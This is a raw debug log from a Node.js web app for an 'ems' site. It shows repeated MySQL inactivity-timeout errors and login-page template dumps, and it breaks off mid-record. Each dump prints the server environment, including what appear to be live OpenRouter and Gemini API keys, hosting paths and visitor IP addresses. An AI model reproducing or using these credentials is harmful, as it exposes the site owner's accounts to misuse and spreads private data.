    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-09 23:09:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-09 23:20:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-09 23:20:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-09 23:56:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-09 23:56:45' as DATETIME)"
}
2026-02-10T04:43:34.244Z server-connect:router Serving templateView /
2026-02-10T04:43:34.246Z server-connect:app Executing action step identify
2026-02-10T04:43:34.246Z server-connect:app options: { provider: 'security' }
2026-02-10T04:43:34.246Z server-connect:auth No login cookie found
2026-02-10T04:43:34.246Z server-connect:output identity: false
2026-02-10T04:43:34.246Z server-connect:app Executing action step restrict
2026-02-10T04:43:34.246Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-10T04:43:34.247Z server-connect:output restrict: undefined
2026-02-10T04:43:34.414Z server-connect:router Serving templateView /login
2026-02-10T04:43:34.414Z server-connect:app Executing action step identify
2026-02-10T04:43:34.414Z server-connect:app options: { provider: 'security' }
2026-02-10T04:43:34.414Z server-connect:auth No login cookie found
2026-02-10T04:43:34.414Z server-connect:output identity: false
2026-02-10T04:43:34.414Z server-connect:router Render template layouts/authentication
2026-02-10T04:43:34.415Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'Keep-Alive',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US',
    'x-forwarded-for': '205.169.39.233',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-11T04:43:34.413Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.169.39.233',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'Keep-Alive',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    'HTTP_X_FORWARDED-FOR': '205.169.39.233',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-10T04:43:50.553Z server-connect:router Serving templateView /
2026-02-10T04:43:50.553Z server-connect:app Executing action step identify
2026-02-10T04:43:50.553Z server-connect:app options: { provider: 'security' }
2026-02-10T04:43:50.554Z server-connect:auth No login cookie found
2026-02-10T04:43:50.554Z server-connect:output identity: false
2026-02-10T04:43:50.554Z server-connect:app Executing action step restrict
2026-02-10T04:43:50.554Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-10T04:43:50.554Z server-connect:output restrict: undefined
2026-02-10T04:43:50.712Z server-connect:router Serving templateView /login
2026-02-10T04:43:50.712Z server-connect:app Executing action step identify
2026-02-10T04:43:50.713Z server-connect:app options: { provider: 'security' }
2026-02-10T04:43:50.713Z server-connect:auth No login cookie found
2026-02-10T04:43:50.713Z server-connect:output identity: false
2026-02-10T04:43:50.713Z server-connect:router Render template layouts/authentication
2026-02-10T04:43:50.713Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US',
    'x-forwarded-for': '205.169.39.233',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-11T04:43:50.712Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.169.39.233',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    'HTTP_X_FORWARDED-FOR': '205.169.39.233',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-10 04:55:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-10 04:55:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-10 05:12:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-10 05:12:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-10 05:25:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-10 05:25:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-10 06:08:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-10 06:08:46' as DATETIME)"
}
2026-02-10T06:13:35.789Z server-connect:router Serving templateView /
2026-02-10T06:13:35.790Z server-connect:app Executing action step identify
2026-02-10T06:13:35.790Z server-connect:app options: { provider: 'security' }
2026-02-10T06:13:35.791Z server-connect:auth No login cookie found
2026-02-10T06:13:35.791Z server-connect:output identity: false
2026-02-10T06:13:35.791Z server-connect:app Executing action step restrict
2026-02-10T06:13:35.791Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-10T06:13:35.791Z server-connect:output restrict: undefined
2026-02-10T06:13:41.332Z server-connect:router Serving templateView /login
2026-02-10T06:13:41.332Z server-connect:app Executing action step identify
2026-02-10T06:13:41.332Z server-connect:app options: { provider: 'security' }
2026-02-10T06:13:41.332Z server-connect:auth No login cookie found
2026-02-10T06:13:41.332Z server-connect:output identity: false
2026-02-10T06:13:41.332Z server-connect:router Render template layouts/authentication
2026-02-10T06:13:41.333Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    connection: 'keep-alive',
    'upgrade-insecure-requests': '1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    priority: 'u=0, i',
    'x-forwarded-for': '64.23.169.130',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-11T06:13:41.331Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '64.23.169.130',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '64.23.169.130',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-10T06:18:49.983Z server-connect:router Serving templateView /
2026-02-10T06:18:49.983Z server-connect:app Executing action step identify
2026-02-10T06:18:49.983Z server-connect:app options: { provider: 'security' }
2026-02-10T06:18:49.983Z server-connect:auth No login cookie found
2026-02-10T06:18:49.983Z server-connect:output identity: false
2026-02-10T06:18:49.983Z server-connect:app Executing action step restrict
2026-02-10T06:18:49.983Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-10T06:18:49.984Z server-connect:output restrict: undefined
2026-02-10T06:18:55.670Z server-connect:router Serving templateView /login
2026-02-10T06:18:55.671Z server-connect:app Executing action step identify
2026-02-10T06:18:55.671Z server-connect:app options: { provider: 'security' }
2026-02-10T06:18:55.671Z server-connect:auth No login cookie found
2026-02-10T06:18:55.671Z server-connect:output identity: false
2026-02-10T06:18:55.671Z server-connect:router Render template layouts/authentication
2026-02-10T06:18:55.671Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '146.190.163.172',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-11T06:18:55.670Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '146.190.163.172',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
